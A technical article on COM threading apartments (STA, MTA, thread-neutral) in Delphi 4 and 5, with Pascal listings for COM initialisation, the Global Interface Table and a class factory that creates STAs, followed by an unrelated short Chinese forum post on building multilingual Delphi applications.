It’s a chicken and egg situation really. You need the background information to appreciate the real details later, but you also need all those details in order to appreciate what the background is telling you. Take a deep breath. Now let’s get back to the story...

How Apartments Are Created

Whilst a process must have at least one thread in order to work, it can have zero or more apartments. Remember that a thread that calls COM routines must belong to an apartment. Any thread can access COM objects with the caveat that the thread must initialise the Windows COM subsystem in order to do so. So an application with no apartments does not interact with COM.

The previous paragraph implies that a thread enters an apartment when COM is initialised by that thread (we will see later how the apartment type is determined). When a thread enters an apartment, COM ensures the apartment exists, creating it if need be.

COM stores information about the apartment in the TLS (the thread’s local storage area). If that thread then proceeds to create a COM object instance, that COM object belongs to that thread’s apartment. The thread leaves the apartment by shutting down COM before terminating.

An application is able to have at most one MTA but can have as few or as many STAs as you choose. Any thread that enters an STA creates a new apartment. Any thread that enters an MTA will either create the application’s sole MTA (if it is the first thread to enter it) or enter the existing MTA created by some other thread entering it earlier.

When you play with COM in Delphi, you might not realise it but COM is implicitly initialised in order for you to do so. Typically you will have ComObj in your uses clause, or maybe ComServ (which itself uses ComObj). The initialisation section of ComObj (in Delphi 4 and later) ensures that the project source’s Application.Initialize will cause COM to be initialised for your primary thread, and the finalisation section closes down COM.

This means that any Delphi application that uses ComObj or ComServ sets up some type of apartment. It also means that you must ensure that the Application.Initialize call remains at the beginning of the code in the project file (.DPR file) for this to work correctly.

The implication of all the above is that all COM applications are made up of one or more apartments, be they COM clients or COM servers. Any process that makes COM calls will involve at least one apartment.

In the case of a client talking to an out-of-process COM server, both the client and server will have at least one apartment (they each have at least one thread doing COM things).

With a client talking to an in-process server, there is only one process in the equation. Nominally you might assume that there would be one or more apartments. However, if the client apartment type does not match the thread capabilities of the COM object, COM will helpfully set up a thread of its own in a new apartment, thereby giving a minimum of at least two apartments (we will come back to this later).

Why Have Apartments?

This is a good question to look at again at this point. What is the purpose of an apartment? Well, when you develop a COM object you are at liberty to either go to town building in thread safety at every appropriate point (synchronising access to any shared resources and so on) to enable your object to be safely accessed by many concurrent threads. Alternatively, you may choose to write your COM object in the normal thread-ignorant way, avoiding all the concurrency issues altogether. It’s your choice.

However, since registered COM objects can be accessed by any COM client application, single threaded or multi-threaded, thought needs to be given to what might happen. The client may, for example, have multiple threads of its own, each of which will make calls to the object. Or maybe there could be many client applications running, all of which communicate with the same COM object. Either way, if your COM object is not thread-safe, this could prove problematic. Or at least it could if COM didn’t solve the problem on your behalf.

If your COM object is not thread-safe, it should be created in a single threaded apartment. If it is thread-safe, it can be created in a multi-threaded apartment. In the case of a non thread-safe object in an STA, the apartment itself ensures that method calls come in one at a time from the various threads around the system regardless of how simultaneously the calls are made. On the other hand, an MTA does not control the order in which method calls arrive, leaving your thread-safe COM object able to service as many concurrent calls as it can.

How Does An STA Work?

It is all very well claiming that an STA serialises COM object method calls, but it might help firm things up in your mind if you understand how this piece of magic is performed.

COM sets up a proxy object when a COM client wants to talk to a COM object in a different apartment or process (see Reference 5). The proxy is set up to look exactly like the target object so the client application is not made aware of the deception. The client’s interface reference actually points to the proxy.

In order for COM to do this, the type library that describes the interface must be registered so COM can learn how the interface is laid out. In DCOM applications, this means the server’s type library must be registered on the client machine.

When the client calls one of the COM object methods it actually talks to the proxy. The proxy then deals with communicating the method call across to the real object in the server. Since the proxy is associated with the COM object’s apartment, it knows whether method calls should be serialised or not. If the COM object resides in an STA then the proxy must somehow ensure that method calls arrive at the real object one at a time.

To do this, COM creates a hidden window for each STA. Each method call is translated into a Windows message (with all the pertinent parameter data packaged up in some way). The message is posted to the hidden thread window with PostThreadMessage, thereby ending up in the thread’s message queue along with any other calls to methods of this or other objects in the same STA. All method calls made by threads not belonging to the COM object’s STA are dealt with in this way.

There is a requirement that the thread in an STA have a message loop (or message pump) to sequentially pull out each message and send it to the target window’s window procedure. The primary thread of any Delphi application already has one of these tucked away in the Application object. It is this message loop that is responsible for taking all the usual user-generated mouse and keyboard messages and directing them to the right forms and controls. Any additional threads that wish to initialise COM and enter a new STA must also have a message loop (we will get onto the details later when we look at creating new STAs).

Since all the method calls end up as messages in a queue, the message loop will pull each message from the queue one at a time, and translate them into method calls one at a time. Each message is individually pulled from the queue and given to the hidden COM window’s window procedure, which extracts all the parameters and calls the object directly. Since the message loop is part of the STA’s thread this is perfectly permissible.

The fact that STA COM object method calls are made via a message queue and message loop inherently means that all STA COM object method calls will be serialised.

Figure 1 shows the surface view of several COM clients making simultaneous calls to an object in an STA in some other process. To the clients, things are very simple. They make method calls. The method calls execute. However, as explained above, things are more complex under the hood, in order to ensure the method calls occur one after another.

Figure 1: Three client processes simultaneously calling methods of an object in an STA

Figure 2 shows a more realistic view of things. Each client makes a method call through the supplied COM proxy object. The COM proxy posts a message into the server STA hidden COM window message queue. The message pump pulls each one out in turn, resulting in a method call, but each method is called from the STA’s single thread in a serial fashion.

Figure 2: What really happens when simultaneous STA method calls are made

Figure 3 shows WinSight displaying all the windows that are part of a simple COM client and server set-up (the server is an out-of-process executable).

Figure 3: WinSight showing the hidden STA windows

Each application has a TApplication window and a form window (normal for a Delphi application). However, since both the client and server processes initialise COM, they both have an apartment. COM creates a hidden window for each apartment with a window class of OleMainThreadWndClass 0x#####. The caption of each window is OleMainThreadWndName, implying the window corresponds to the main (indeed only) thread in each apartment, which in this case are both STAs.

The lower portion of Figure 3 shows a pair of messages involved in the STA to STA method call. The first message is posted to the server’s hidden COM window to produce a serialised method call. When it is complete, the second message is posted back to the client’s hidden window to allow it to continue. The client STA thread is effectively blocked by a COM-provided message loop until the method call returns and so the return message arrives.

So objects in any given STA will never suffer concurrent access since only one thread will ever be in the apartment. However, there can be multiple STAs in a process and so global data must still be protected with synchronisation of some sort, such as a semaphore, mutex or critical section.

How Does An MTA Work?

This might not sound like such a sensible question right now. The idea with an MTA is that the objects within it can be called from many threads simultaneously, so what is there to know? Well at this point, remember the rule that was stated earlier: only threads in a COM object’s apartment are able to directly call its methods.

Consider a multi-threaded client application talking to a thread-safe object in an out-of-process server. The client asks COM to create the object, so COM starts the server whose main thread enters an MTA and creates the COM object. Since the client is in another process, COM then provides a proxy object to the client application.

Now several of the client’s threads, all of which are in an MTA, wish to call upon the object. However, those threads are not in the object’s apartment. They are in an apartment in the client. In fact the server only has one thread of its own. So what does COM do to help out? What it does is provide threads from the RPC (Remote Procedure Call) thread pool which then enter the server’s MTA. Each client call to one of the object’s methods is executed on one of these pooled threads. That way, it doesn’t matter how few explicitly created threads are running in the server.

Some liasing is still done with a hidden COM window during method calls, but the MTA threads need not have a message pump as calls are not being serialised. Figure 4 shows WinSight examining a client with an STA communicating with an MTA out-of-process object on Windows 95. You can see there are still messages posted back and forth, and that the MTA window has a different caption and has different behaviour. In fact it also has a different window class on other Win32 platforms.

Figure 4: A client STA window and a server MTA window

Of course, things are rather different with an in-process server. If an MTA client creates an object in an MTA server the MTA client threads will be permitted to directly call the object methods.

Since MTA object methods can be called concurrently on various threads, global data and instance data must be accessed with care, using synchronisation mechanisms. Care must also be taken with thread-local variables (those declared with threadvar rather than var). Since the MTA uses arbitrary threads from the RPC thread pool, each time a method is called, the thread-local variables will have different values. This can be useful in some situations, but is usually unexpected.

This point has a further, not necessarily obvious ramification. MTA-based objects cannot synchronise data access by holding locks that have thread affinity such as critical sections or mutexes. Since the thread that creates a mutex must be the same thread to release the mutex (and the same for a critical section), the arbitrary thread selection nature of an MTA prohibits their effectiveness, unless used entirely within a single method’s execution.

Choosing Apartment Types

To initialise COM (and enter an apartment) a thread calls OleInitialize, CoInitialize or CoInitializeEx. CoInitialize and OleInitialize allow a thread to enter an STA. CoInitializeEx allows a thread to enter an STA if COINIT_APARTMENTTHREADED is passed as the second parameter or an MTA if COINIT_MULTITHREADED is passed (the default).

Note that ComObj performs this sort of COM initialisation for the primary thread automatically by its inclusion in a uses clause. For other threads to do COM work, they must explicitly initialise COM (and therefore enter an apartment). So, for example, to initialise COM and allow a (non-primary) thread to enter an MTA, you could use the code in Listing 1.

Listing 1: Initialising COM for an MTA

uses
  ComObj, ActiveX;
...
if Assigned(ComObj.CoInitializeEx) then
  OleCheck(ComObj.CoInitializeEx(nil, COINIT_MULTITHREADED))
else
  CoInitialize(nil)

CoInitializeEx only exists on Windows 95 if DCOM for Windows 95 has been installed, so care must be taken when calling it to ensure it exists. Notice the code fully qualifies the reference to the CoInitializeEx variable in ComObj to ensure the compiler doesn’t directly calling the routine via its import declaration in the ActiveX unit.

If it did, and the API was not available (which would be the case on Windows 95 without DCOM installed), an unpleasant fatal error would appear at program startup. If the CoInitializeEx API is not available, it falls back on CoInitialize.

A call to CoUninitialize causes a thread to exit its apartment and close down access to COM. This is done with consideration for pending COM calls that are stuck in a COM window message queue. If such messages are pending, COM enters a modal message loop dispatching those messages (but ignoring any non-COM messages) to ensure no COM method calls are lost.

COM client applications and out-of-process COM server applications use this approach to ensure that each thread that needs to access COM objects is in an appropriate apartment. But things are a little different for in-process COM servers (DLLs or OCXs).

Since DLLs are loaded into the address space of the calling application, and the code in a DLL is accessed on the client application’s thread, there might seem to be a possible conflict of thread awareness. If the DLL does not create threads of its own, how can it set up an appropriate apartment to ensure that calls are serialised (or not)?

One option would be for the DLL code to initialise COM regardless. However, a thread cannot actively be in two or more different apartment types at the same time, so if CoInitializeEx is called twice on one thread with different apartment type flags, the second call will cause an RPC_E_CHANGED_MODE error. So this is not an option.

In fact, DLLs must never initialise or shut down COM in their own initialisation or finalisation code. This is because of an issue with how Windows implicitly loads DLLs and may cause an infinite loop or Access Violation, particularly when using DCOM across multiple machines.

In-Proc COM Object Threading Model

The answer is that COM has already thought of this. When an in-process server is registered, each COM object has an extra value added into its registry data by the class factory advertising the appropriate threading model. When COM loads the in-process server and prepares to create a COM object from it, it first checks the ThreadingModel registry value to see what threading support the object has. Based upon what it finds, it will do one of two things.

If the client thread’s apartment type matches the COM object’s advertised apartment support, it does nothing at all, allowing the client to talk directly to the object. However if the two apartment models clash, COM creates a thread of its own and enters an appropriate apartment for the COM object. The client thread is given a proxy and things go back to how they are with an out-of-process COM server.

Two COM objects that reside in the same process may belong to different apartments and therefore have different concurrency restrictions. This general arrangement caters for in-process servers with differing thread awareness to work together in the same process. A process with an MTA and one or more STAs is sometimes called a mixed-model process.

As you will hopefully be starting to appreciate, COM goes to a lot of trouble behind the scenes to ensure that client applications and COM objects avoid conflict and work in harmony.

ComObj And Apartments

The ComObj unit is quite canny about its initialisation code. It first checks to see whether the current module is a DLL or EXE. If it’s a DLL it does nothing. If it is an executable it makes use of a ComObj global variable called CoInitFlags to determine what to do next with regard to initialising COM. CoInitFlags is pre-set by COM object class factories based upon the threading models of the COM objects in the out of process server.

CoInitFlags defaults to -1, which means CoInitialize will be called causing the primary thread to enter an STA. Any COM objects that you create have associated class factories constructed in their unit initialisation sections. If the COM object’s threading model suggests it works in an MTA then CoInitFlags is set to COINIT_MULTITHREADED. If the COM object claims support for an STA then CoInitFlags is set to COINIT_APARTMENTTHREADED (assuming it hasn’t already been set to COINIT_MULTITHREADED).

CoInitFlags can also be manually set in the project source before the call to Application.Initialize if you want to change the automatic value or set a specific value. For example, you may wish to add in the flag COINIT_SPEED_OVER_MEMORY using the or operator, which causes COM to optimise for speed rather than memory. To do this, add ComObj and ActiveX into the project file’s uses clause and insert this statement before Application.Initialize:

CoInitFlags := CoInitFlags or COINIT_SPEED_OVER_MEMORY;

Assuming CoInitializeEx can be found, CoInitFlags is passed to it, otherwise CoInitialize is called. Usefully, a procedural variable called CoInitializeEx is set to point to the routine if it exists (or nil if not). This variable was used in Listing 1.

Delphi 4 And CoInitFlags

If you are using Delphi 4, you should be aware that CoInitFlags works a little differently. The class factories do not set this variable with appropriate flags, meaning that the job is left to you. You must assign the appropriate threading model flag to CoInitFlags before Application.Initialize in the project source file.

The COM Object Wizard

Now that we have some background on the subject, we should look at exactly what the Threading Model: attribute on the various COM-related wizards does. You can specify a target threading model when making a new COM object, Automation object, ActiveX control, ActiveForm and Active Server object. There are four options to choose from in Delphi 5: Single, Apartment, Free and Both, which are explained in Table 1.

Table 1: Available threading model options

  • Single. This attribute should be used in in-process servers only. Use of it in an out-of-process server will give the same result as Apartment. You use this if your whole server is completely unaware of thread issues and expects each of its objects to be accessed by the client’s primary (STA) thread that created it. It is really for backward compatibility as you are unable to have multiple apartments in the server. Client method calls are all serialised through the client STA.

    The main client STA will receive an interface reference to the object, whereas any other STA threads will receive references to COM proxies.

    Because single-threaded objects are loaded into the main client STA (the first STA created in the client), it is important that the main STA remain active until the process terminates.

    The class factory for one of these objects will not add a ThreadingModel value into its registry data.

  • Apartment. This should be used for objects that are not thread-safe or re-entrant, but which can live in a multi-threaded server within an STA. In other words, whilst COM will ensure that method calls occur synchronously, the object must be careful to synchronise access to any global data in the server, as objects in other threads may access it simultaneously.

    The class factory for an in-process server will add a ThreadingModel value of Apartment into the registry during registration. An out-of-process server sets CoInitFlags to COINIT_APARTMENTTHREADED (if it is not already set to COINIT_MULTITHREADED).

    ActiveX controls and other COM objects with a GUI are typically marked with this attribute. This allows the UI synchronisation to happen without effort on the part of the COM object developer.

  • Free. This should be used for objects that are thread-safe and re-entrant, and can reside in an MTA. COM will permit multiple threads to access the object simultaneously.

    The class factory for an in-process server will add a ThreadingModel value of Free into the registry during registration. An out-of-process server sets CoInitFlags to COINIT_MULTITHREADED.

    Objects used in DCOM systems are often marked with this attribute.

  • Both. Objects that are thread safe and can live in an MTA, but which can also work happily in an STA should use this attribute. This gives more flexibility than either of the two previous attributes.

    The class factory for an in-process server will add a ThreadingModel value of Both into the registry during registration. An out-of-process server sets CoInitFlags to COINIT_MULTITHREADED. The implication of this is that specifying the Both-threading model only has any real impact in an in-process server.

    Additional comments about this threading model are coming up.

Having specified a threading model for your object it is your responsibility to ensure your object adheres to that threading model.

Inter-Apartment Interface Passing

It’s been mentioned a couple of times now that COM objects can only be directly called from a thread in its apartment. Threads in other apartments must talk to a COM proxy which will be automatically created when the interface reference is marshaled across from the original thread.

It is an error for code in one thread to pass an interface reference directly to a thread in a different apartment. If the reference points to a COM proxy, an RPC_E_WRONG_THREAD error will be generated when a method call is made through it. If the reference is a direct pointer to the object, COM has no way to detect the problem but it is still an error.

Any interface reference that is received by a client application from an API call or method is valid for all threads in the caller’s apartment, regardless of whether it is a direct reference to the object or a reference to a COM proxy. So interface references can readily be passed between any threads in an MTA.

The question then arises as to how you pass an interface reference from a thread in one apartment to a thread in another apartment, or to put it in more COM-like terminology, how the interface reference is marshaled to the other thread. One way to marshal an interface reference is with the COM APIs CoMarshalInterThreadInterfaceInStream and CoGetInterfaceAndReleaseStream as described by Steve Teixeira (see Reference 5). These APIs work using a memory stream managed by COM. The first one adds the interface reference to the stream and the second one unmarshals an interface reference to a proxy object from the stream.

The only potential problem with these routines is they only allow you to unmarshal the interface reference into one thread. If you need to give your interface reference to several threads in various apartments, they are not really helpful. This is where the Global Interface Table, or GIT, comes in.

COM manages one GIT per process and it is accessed through the IGlobalInterfaceTable interface (see Listing 2 for an appropriate definition, which can be found in the GITIntf.pas unit). You can register an arbitrary interface pointer as globally accessible with the RegisterInterfaceInGlobal method, which returns a unique identifying number (a cookie). GetInterfaceFromGlobal is used by any thread in the process to access an interface reference using the appropriate cookie and RevokeInterfaceFromGlobal stops it being available.

Listing 2: The Global Interface Table interface

const
  CLSID_StdGlobalInterfaceTable : TGUID =
  '{00000323-0000-0000-C000-000000000046}';

type
  IGlobalInterfaceTable = interface(IUnknown)
    ['{00000146-0000-0000-C000-000000000046}']
    function RegisterInterfaceInGlobal(pUnk: IUnknown;
      const riid: TIID; out dwCookie: DWord): HResult; stdcall;
    procedure RevokeInterfaceFromGlobal(
      dwCookie: DWord); safecall;
    function GetInterfaceFromGlobal(dwCookie: DWord;
      const riid: TIID; out ppv): HResult; stdcall;
  end;

function GIT: IGlobalInterfaceTable;
const
  GITIntf: IGlobalInterfaceTable = nil;
begin
  if not Assigned(GITIntf) then
    GITIntf := CreateComObject(CLSID_StdGlobalInterfaceTable) as
                 IGlobalInterfaceTable;
  Result := GITIntf
end;

The GIT requires Windows NT 4 with Service Pack 3 or later, Windows 95 with DCOM 1.2 (or possibly 1.1, as the Platform SDK refers to both versions) or Windows 98. Unfortunately Delphi 5 has no definition of this interface. Because of these various reasons the code presented in this article will use the API pair rather than the GIT.

Creating STAs

In the client application, the primary thread can enter an STA by simply adding ComObj into the uses clause, or by calling OleInitialize(nil) or CoInitialize(nil). Since the client’s primary thread already has a message pump, all requirements are then met. An out-of-process server with a user interface also has a message pump in the primary thread, which will have entered an STA upon startup thanks to ComObj.

The trickier part is making the server create additional STAs. Since COM objects in a server are ultimately instantiated by their class factory we will need to modify the class factory. Instead of creating objects on the same thread, the new class factory must create a new thread that enters a new STA and creates the object there.

There are three standard class factories that we can inherit from. TComObjectFactory creates COM objects that have no associated type information, TTypedComObjectFactory creates COM objects that do have type information (typically in a type library) and finally TAutoObjectFactory creates Automation objects. Arbitrarily, I will look specifically at TTypedComObjectFactory, which means I will need to test it with COM objects that have type information.

Each class factory implements the IClassFactory interface, which defines the CreateInstance method. It is this method that is responsible for bringing a COM object to life, so that is where the interesting code will be.

Listing 3 shows the factory class and the apartment thread class. When asked to instantiate a new COM object, the factory first checks that it is running in an out-of-process server and that the object claims to support the apartment threading model. Assuming this is the case it creates a new instance of the apartment thread class. It then has to wait until the secondary thread has created the COM object, which will be indicated by a Windows semaphore being released.

This will only work in Delphi 5 as Delphi 4’s class factory did not surface the threading model through a convenient property. For Delphi 4, you would need to modify the code to assume an apartment threading model, and then make sure that you only use it in conjunction with apartment-threaded COM objects.

Listing 3: A class factory that creates new STAs

type
  TTypedComObjectFactory2 = class(TTypedComObjectFactory,
                                  IClassFactory)
  protected
    //Create the COM object in a separate thread
    function CreateInstance(const UnkOuter: IUnknown;
      const IID: TGUID; out Obj): HResult; stdcall;
  end;

  TApartmentThread = class(TThread)
  private
    FFactory: IClassFactory2;
    FUnkOuter: IUnknown;
    FIID: TGuid;
    FSemaphore: THandle;
    FStream: Pointer;
    FCreateResult: HResult;
  protected
    procedure Execute; override;
  public
    constructor Create(Factory: IClassFactory2;
      UnkOuter: IUnknown; IID: TGuid);
    destructor Destroy; override;
    property Semaphore: THandle read FSemaphore;
    property CreateResult: HResult read FCreateResult;
    property ObjStream: Pointer read FStream;
  end;

function TTypedComObjectFactory2.CreateInstance(
  const UnkOuter: IUnknown; const IID: TGUID; out Obj): HResult;
begin
  //Verify we are not an in-proc server and
  //that the object is STA-ready
  if not IsLibrary and (ThreadingModel = tmApartment) then
  begin
    LockServer(True);
    try
      //Create thread
      with TApartmentThread.Create(Self, UnkOuter, IID) do
      begin
        //Wait for thread to create the COM object
        if WaitForSingleObject(Semaphore, INFINITE) =
             WAIT_OBJECT_0 then
        begin
          Result := CreateResult;
          if Result <> S_OK then Exit;
          //If all is well, unmarshal interface from stream
          Result := CoGetInterfaceAndReleaseStream(
            IStream(ObjStream), IID, Obj);
        end
        else
          Result := E_FAIL
      end
    finally
      LockServer(False)
    end
  end
  else
    //In-proc servers and non-STA objects get created as normal
    Result := inherited CreateInstance(UnkOuter, IID, Obj);
end;

constructor TApartmentThread.Create(Factory: IClassFactory2;
  UnkOuter: IUnknown; IID: TGuid);
begin
  inherited Create(True);
  FFactory := Factory;
  FUnkOuter := UnkOuter;
  FIID := IID;
  //Create the synchronisation device
  FSemaphore := CreateSemaphore(nil, 0, 1, nil);
  FreeOnTerminate := True;
  //After setting all the thread attributes, let thread start
  Resume
end;

destructor TApartmentThread.Destroy;
begin
  CloseHandle(FSemaphore);
  inherited Destroy;
end;

procedure TApartmentThread.Execute;
var
  Msg: TMsg;
  Unk: IUnknown;
begin
  try
    //Enter STA
    CoInitialize(nil);
    try
      //Create object
      FCreateResult := FFactory.CreateInstanceLic(
        FUnkOuter, nil, FIID, '', Unk);
      FUnkOuter := nil;
      FFactory := nil;
      //Marshal interface reference into stream
      if FCreateResult = S_OK then
        CoMarshalInterThreadInterfaceInStream(
          FIID, Unk, IStream(FStream));
      //Allow factory to read the interface reference
      ReleaseSemaphore(FSemaphore, 1, nil);
      if FCreateResult = S_OK then
        //Start the message pump
        while GetMessage(Msg, 0, 0, 0) do
        begin
          DispatchMessage(Msg);
          //See if the only connection to this object is ours
          //If it is, then this thread's work is done
          Unk._AddRef;
          if Unk._Release = 1 then
            Break;
        end;
    finally
      Unk := nil;
      //Leave the STA
      CoUninitialize;
    end;
  except
    // No exceptions should go unhandled
  end;
end;

Whilst the factory is waiting, the thread enters an STA by initialising COM, then creates the COM object. Assuming nothing goes wrong, it marshals the interface reference into a memory stream and uses the semaphore to tell the factory that the object is ready. The factory can then read the interface reference (for a COM proxy) from the stream and pass it back to the client.

Whilst this is going on the STA thread starts a message loop, dispatching messages to the hidden COM window as they come in. It continues to do this until either a wm_Quit message arrives (whereby GetMessage returns False) or the COM object is found to be done with. This is the case when its reference count is at 1 (the only connection to it is the thread’s interface reference), at which point the thread terminates.

One point that should be made is that the implementation of _Release uses the InterlockedDecrement API. The Microsoft documentation states that on Windows 98 and NT it returns the decremented number. On Windows 95 it claims to return a positive number (assuming the decremented value is above zero) but not necessarily the actual decremented number, so the test may prove problematic.

A workaround used by a variety of people is to change the code to check for a value of 0 being returned from _Release on systems running under Windows 95, as shown in Listing 4. Tests have shown such a change to work well.

Listing 4: Making Listing 3 work on Windows 95

function FinalRefCount: Integer;
begin
  //Return 0 on Win95 (Windows version 4.0)
  if (Win32Platform = VER_PLATFORM_WIN32_WINDOWS) and
     (Win32MajorVersion = 4) and (Win32MinorVersion = 0) then
    Result := 0
  else
    Result := 1
end;
...
//The fixed code
Unk._AddRef;
if Unk._Release = FinalRefCount then
  Break;

This class factory and STA thread class are very similar to the ones that can be found in the VCL’s VCLCom unit. This unit is used by the implementation units of remote data modules, MTS data modules and CORBA data modules. The idea of the unit is to overcome performance limitations when many clients try accessing apartment-threaded implementations of these COM objects by creating each apartment-threaded object in a separate STA.

Because of the aforementioned Windows 95 issue with the InterlockedDecrement API, you might therefore find that apartment-threaded MIDAS data modules may give the odd problem when hosted on Windows 95. If you encounter this issue, the most straightforward workaround is to move the server application to Windows NT, which has never suffered this problem.

A pair of simple projects that use the code in Listing 3 are supplied as MultipleSTAClient.dpr and MultipleSTAServer.dpr. They are set up as normal, with a COM object in the server project, but the new class factory unit (STAThread.pas) is used in the COM object implementation unit. Additionally, the reference to the normal class factory (TTypedComObjectFactory) in the unit’s initialisation section is replaced with a reference to TTypedComObjectFactory2 to allow the STAs to be created.

The client project can create up to seven instances of the COM object using a bunch of checkboxes. Figure 5 shows Delphi’s Threads Window displaying the server’s primary thread along with seven additional STA threads created by the class factory.

Figure 5: Multiple STAs in a process

This is not the best implementation by a long shot. If 35 objects are needed in quick succession, 35 new threads will be created in addition to the server’s primary STA thread, which might be a little excessive. Some form of thread pool would probably be advisable in a real application.

As you can see though, creating multiple STAs involves a little bit of fiddling around. Delphi does not hand you multiple STA support on a plate. There is also the problem that passing these interface references around requires marshaling which has an overhead (all those proxy objects being created). Having multiple threads in an MTA is much easier to achieve as those threads do not need a message pump.

Apartment Interaction

Before finishing off, we should summarise how various apartment types interact between clients and both in-process and out-of-process servers.

In the case of an out-of-process server, the client will always be given a proxy and so COM will always sit in-between. If the object is in an STA, COM serialises the calls. If the object is in an MTA, COM executes the client calls on RPC threads.

When the server is in-process, COM will interject between the client apartment and the server object only if there is a mismatch in threading support, otherwise it will allow the code in the client apartment thread to talk directly to the object. When COM does this form of interjection it uses another thread from the RPC thread pool and enters an appropriate apartment for the object. The client apartment gets a proxy.

Efficiency Considerations

When writing in-process COM objects you must consider not only how much time you will put into ensuring thread safety, but also issues of efficiency in inter-apartment communication.

Firstly, whilst STA-compliant objects are easier to write, if many clients call into them the calls will be serialised and may cause an unacceptable delay. This includes calls to multiple objects created within the same STA. Since there is only one thread in the STA all method calls to all objects will be serialised. Examples of where this might be the case include middle-tier COM servers or Web servers that have many client applications.

If the client applications all fire off method calls to the server application, the calls will all be executed one at a time, in series. Maybe taking the time to make your object thread-safe would be a good investment, thereby allowing multiple client calls to execute concurrently.

But if you take time to cover re-entrancy issues and protect instance data and decide to mark your object as MTA-compliant (using the Free attribute in the wizard), you should carefully consider which COM client application threads might call your object.

Out-of-process server objects will be called by clients that use COM proxies regardless of the client apartment, but in-process objects are a different matter. If many of the expected clients are to be STAs, then you will be getting many proxy objects created on your behalf and so a lot of implicit marshaling and thread-switching will occur.

The Both-Threading Model

In this sort of scenario, it might be better to mark your object as Both in the wizard, meaning it will work both in an STA and an MTA. This removes COM’s obligation to make COM proxies and mean that your object can be created directly in the client STA or MTA, thereby increasing efficiency.

Beware that using this threading model for an in-process object must also be done with care and forethought. Firstly, the object must be written in a thread-safe manner because it can be directly instantiated in an MTA environment.

Secondly, you must be very careful about accepting any callback references (interface references to objects who call you and expect you to call them back at some point later) as method parameters.

Let’s say your object is created by an object in an MTA. Both your object and the creator are in the same apartment and so your creator has an interface to you, not to a proxy. It calls one of your methods passing a reference to itself, which will also be a direct pointer. It is not a problem for you to call one of your caller’s methods using this reference as you are both in the same apartment.

Now let’s say that the creator passes to another thread in the same MTA an interface reference to you. If that thread invokes a method that needs to call via the callback, this is still fine as both threads are in the same apartment. So where is the problem?

The problem comes in when the object is created in an STA. Again, the creator has a direct interface reference and if it calls one of your methods passing in a callback, this will also be a direct interface reference. No problem so far as there is only one apartment involved. But now let’s assume the creating thread marshals its interface reference to your object to another thread, which will be in another apartment. If your object uses the callback (which was not a proxy), we break one of the rules of COM. We are calling an STA object that lives in one thread from a completely different thread.

So to overcome this problem you must marshal any interface references that come into your object, but this is only necessary if you are in an STA. To do this in an MTA would lead to unnecessary marshaling, thanks to the proxy’s existence.

So the Both-threading model should really only be used for objects whose interface methods never receive callback interfaces as parameters. If there is any uncertainty, don’t use Both.

MTS, COM+ and Windows 2000

When writing MTS objects, you can forget about the MTA model as it is incompatible with MTS. Instead, the STA model is favoured (each STA object is created in a new thread in a new STA). MTS uses the concept of an activity, which is a group of one or more objects that do something on behalf of a client. Each activity has one single logical thread running through it (which enforces call serialisation but without a Windows message queue), although the objects can be distributed across multiple processes.

Activities came about to help COM objects become more scaleable. STAs alone are not scaleable without a lot of work involved in pooling a number of STA threads. MTAs already pool a number of threads, but the concurrent access issue in conjunction with the lack of thread affinity (as discussed earlier) poses headaches for developers.

COM+, introduced in Windows 2000, introduces another threading model called the Thread-Neutral Apartment (TNA). Any process can have at most one TNA and in-process COM objects advertise a desire to run in a TNA with a ThreadingModel registry key of Neutral. A TNA is not a place where an object lives, but MTA and STA threads that create a TNA object get a proxy that allows method calls without involving a thread switch (which is therefore rather efficient).

A TNA object, therefore, allows its methods to execute on multiple threads, but only one thread will be executing any method of a given object instance at any time. It therefore does not require synchronisation of access to its instance data, unlike in an MTA.

For UI-less objects, TNA is the preferred model under COM+, although objects with a UI should still use STAs.

Together, MTS and COM+ provide advanced and efficient thread management along with pooling logic which enable developers to worry less about the low-level intricacies of COM threading.

At the time of writing, both Delphi and C++Builder are at version 5. C++Builder 5 supports developing COM+ objects and supports the TNA. You can assume that Delphi 6 will also have this support.

Summary

Well that’s it. It’s been a long ride, but hopefully you have hung on till the end and you now have a much better understanding of what COM does to help thread-safe code and thread-ignorant code to work together in harmony without any outside help. Next time someone drops the word apartment into a conversation about COM, feel free to join in.

References

These are some useful reference points for additional related information. Some of these have been mentioned in the article text.

  1. http://www.techvanguards.com/com/com.htm. Binh Ly’s COM programming Web pages, containing much of the scarce information on advanced COM issues such as concurrency and callbacks.
  2. Delphi COM Programming by Eric Harmon, published by Macmillan Technical Publishing. This book is a useful COM reference text, although it contains no information on COM threading issues.
  3. Essential COM by Don Box, published by Addison-Wesley.
  4. Effective COM by Don Box et al, published by Addison-Wesley.
  5. COM Corner: More Callbacks by Steve Teixeira in The Delphi magazine, Issue 58 (June 2000). Discusses marshaling interfaces for callbacks.
  6. Win32 Multithreaded Programming by Aaron Cohen, Mike Woodring, Ronald Pertruska, published by O’Reilly & Associates.
  7. Multithreading Applications in Win32: The Complete Guide To Threads by Jim Beveridge and Robert Wiener, published by Addison-Wesley.
  8. Microsoft Developer Network Library CD. There are many articles covering multi-threaded COM to be found on this library.

Acknowledgements

Thanks are due to Danny Thorpe, Binh Ly, Roy Nelson, Guy Smith-Ferrier, Geoff Lawrence and Malcolm Matthews for feedback on this article.

About Brian Long

Brian Long used to work at Borland before they became Inprise, performing a number of duties all involving the development tools. Since leaving Borland just before Delphi 1 was released in January 1995, Brian has been offering training and consultancy services to the growing Borland Delphi and Borland C++Builder community. This involves working directly for clients and also for many training companies around the world (but mainly in the United Kingdom).

In his spare time Brian writes articles - he is a columnist for The Delphi Magazine but has also had articles published in Computing, Developers Review, The Delphi Developer's Journal and EXE Magazine. As well as having a Borland Pascal problem-solving book published in 1994, he contributed a few chapters to a 1996 Delphi book.

The only other skills Brian can offer at this time are juggling and the ability to make an inflatable origami paper frog.


CSDN_文档中心_多语言应用

各位程序高手有可能知道在Delphi或BC++下开发多语言应用程序非常容易，只有使用多种语言资源文件就可以了。但这样做只对应用程序的性属性有作用，在程序中用作提示的字符串没有存放在相应的资源文件中，实现比较难。在这里我介绍一种方法供大家参考：

为了充分利用Delphi功能，只有想办法将应用程序中用到的字符串作为属性存放就可以了。要实现这一步可以将应用程序每一个窗体中要用到的提示字符串作放在TStrings类中，TStrings可以在窗体设计时自由增减，应用程序只有引用相应的字符串进行输出就行了。这可以编写一个控件放在窗体上实现，或继承TForm窗体类，加入一个属性，类名为TStrings等方法。最后可用Delphi原有的开发多语言应用程序功能进行属性翻译就可以了。由于本人时间不充足，具体要实现方法就不详述， 有趣的读者可以发E-mail给我。我的E-mail为：jhliusoft@sina.com or ljhsoft@sohu.com。


